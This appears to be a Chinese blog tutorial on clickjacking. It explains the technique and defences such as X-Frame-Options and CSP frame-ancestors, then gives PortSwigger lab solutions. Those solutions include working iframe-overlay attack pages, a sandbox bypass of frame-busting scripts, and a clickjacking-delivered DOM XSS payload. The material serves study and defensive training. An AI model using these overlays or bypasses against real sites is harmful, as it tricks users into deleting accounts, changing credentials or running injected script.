赞
踩
点击劫持是一种基于界面的攻击,通过点击诱骗网站中的其他内容,用户被诱骗实际点击了隐藏的可操作内容。
可能是电子邮件中的链接,引诱用户点击按钮即可赢得奖品或平台点赞。他们被攻击者欺骗,按下了另一个隐藏按钮,这导致他们在另一个网站上支付了一个账户。这是点击劫持攻击的一个示例。这项技术依赖于将包含按钮或隐藏链接完全隐藏起来(完全透明)合并到IFRAME中。IFrame覆盖在用户预期的诱饵网页内容之上。
此攻击与CSRF攻击的不同之处在于,用户需要执行按钮单击等实际操作,而CSRF攻击依赖于在用户不知道或无输入的情况下伪造整个请求。
<head>
<style>
#target_website { <!--实际页面-->
position:relative;
width:128px;
height:128px;
opacity:0.00001;
z-index:2;
}
#decoy_website { <!--目标用户看到的页面(诱饵页面)-->
position:absolute;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
...decoy web content here...
</div>
<iframe id="target_website" src="https://vulnerable-website.com">
</iframe>
</body>
目标网站IFRAME被定位在浏览器内,调整适当的宽度和高度位置值使目标动作与诱骗网站精确重叠。使用绝对和相对位置值来确保目标网站与诱饵准确重叠,而不考虑屏幕大小、浏览器类型和平台。
浏览器点击劫持保护可能会应用基于阈值的iFrame透明度检测(例如,Chrome版本76包括此行为,但Firefox不包括)。攻击者选择不透明值,以便在不触发保护行为的情况下实现所需效果。
浏览器端采用frame限制性脚本(frame拆分或frame拆分脚本);
服务器端采用X-Frame-Options
andContent Security Policy
该头部标签提供了对iframe或对象的使用控制,可以使用Deny指令禁止在框架内网页;或可以使用Same Origin指令将框架限制为与网站相同的来源
X-Frame-Options: deny
X-Frame-Options: allow-from https://normal-website.com
内容安全策略(CSP)是一种检测和预防机制,可缓解XSS和点击劫持等攻击。
策略是由分号分隔的一串策略指令。
CSP向客户端浏览器提供浏览器允许的Web资源来源的信息。
frame-ancestors 'none'
效果等同
X-Frame-Options: deny
Content-Security-Policy: frame-ancestors 'self';
效果等同
X-Frame-Options sameorigin
同源
Content-Security-Policy: frame-ancestors normal-website.com;
使用内容安全策略来防止点击劫持比使用X-Frame-Options头更加灵活,因为您可以指定多个域并使用通配符。例如:
Content-Security-Policy: frame-ancestors 'self' https://normal-website.com https://*.robust-website.com
CSP还验证父frame中的每个frame,而X-Frame-Options仅验证顶级frame。
例题1
部分链接可以使用参数预制数据进行提交,由于值是URL的一部分,因此可以修改目标URL以包含攻击者选择的值,并将透明的“提交”按钮覆盖在诱骗站点上。
例题2
Web浏览器实施的常见客户端保护是使用frame拆分或frame拆分脚本。这些可以通过专有的浏览器、JavaScript附加组件或扩展(如NoScrip)来实现。
基于以上如何绕过呢?
allow-forms
或allow-scripts
值进行设置,并且省略allow-top-navigation
,则防护被破坏,但网页功能能正常触发。<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>
例题3
以上介绍的内容,是将点击劫持视为一种独立的攻击。当点击劫持被用作另一种攻击(如DOM XSS攻击)的载体时,点击劫持的真正效力就会显现出来。
假设攻击者首先识别了XSS漏洞,则这种组合攻击的实现相对简单。将XSS漏洞利用与IFRAME目标URL组合在一起,以便用户单击按钮或链接,从而执行DOM XSS攻击。
攻击者对目标网站的输入操作可能需要执行多个操作。
例如,攻击者可能想要诱骗用户从零售网站购买商品,因此在下单之前需要将商品添加到购物篮中。攻击者可以使用多个分区或iframe来实现这些操作。从攻击者的角度来看,这种攻击需要相当高的精确度和谨慎,如果它们要有效和隐形的话。
例题5
发现两个数据包,需要验证CSRF和session即可删除账户。
尝试伪造页面,引诱目标用户自己删除自己的账户。
构造攻击页面
<style>
iframe { <!--真实个人详情页页面-->
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div { <!--test me 目标用户看到得引诱按钮-->
position:absolute;
top:300px;
left:60px;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="https://ac2a1ff81e997797c04e4c6900b70039.web-security-academy.net/my-account"></iframe>
?email=hacker@attacker-website.com"
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:460px;
left:80px;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="https://acf91f5c1eb227d2c05a486c007f00cf.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
跟上题一致,攻击后发现页面提示。发现使用frame拦截器脚本。
<script>
if(top != self) {
window.addEventListener("DOMContentLoaded", function() {
document.body.innerHTML = 'This page cannot be framed';
}, false);
}
</script>
尝试使用sandbox="allow-forms"
绕过,成功。
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:460px;
left:80px;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="https://ac891fe51f7ccba2c06ed45e0052000a.web-security-academy.net/my-account?email=hacker@attacker-website.com" sandbox="allow-forms"></iframe>
在submit页面发现,提交反馈后,查看代码
function submitFeedback(method, path, encoding, personal, data) {
var XHR = new XMLHttpRequest();
XHR.open(method, path);
if (personal) {
XHR.addEventListener("load", displayFeedbackMessage(data.get('name')));
}
function displayFeedbackMessage(name) {
return function() {
var feedbackResult = document.getElementById("feedbackResult");
if (this.status === 200) {
feedbackResult.innerHTML = "Thank you for submitting feedback" + (name ? ", " + name : "") + "!";
feedbackForm.reset();
} else {
feedbackResult.innerHTML = "Failed to submit feedback: " + this.responseText
}
}
}
(1)发现此处data由参数直接获取name(SOURCE), feedbackResult.innerHTML(SINK),存在标准存储型XSS
(2)再次测试/feedback,发现可以使用GET url参数提交内容
综上可尝试XSS配合点击劫持,攻击代码如下:
<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:610;
left:80;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe
src="https://ace21f8c1f334678c0c28d4b001c00dd.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult">
</iframe>
浏览后发现,成功删除账户需要两部,点击删除,点击确认。
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:$top_value1;
left:$side_value1;
z-index: 1;
}
.secondClick {
top:$top_value2;
left:$side_value2;
}
</style>
<div class="firstClick">Test me first</div>
<div class="secondClick">Test me next</div>
<iframe src="$url"></iframe> <!-$url 为账户明细页url-->
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。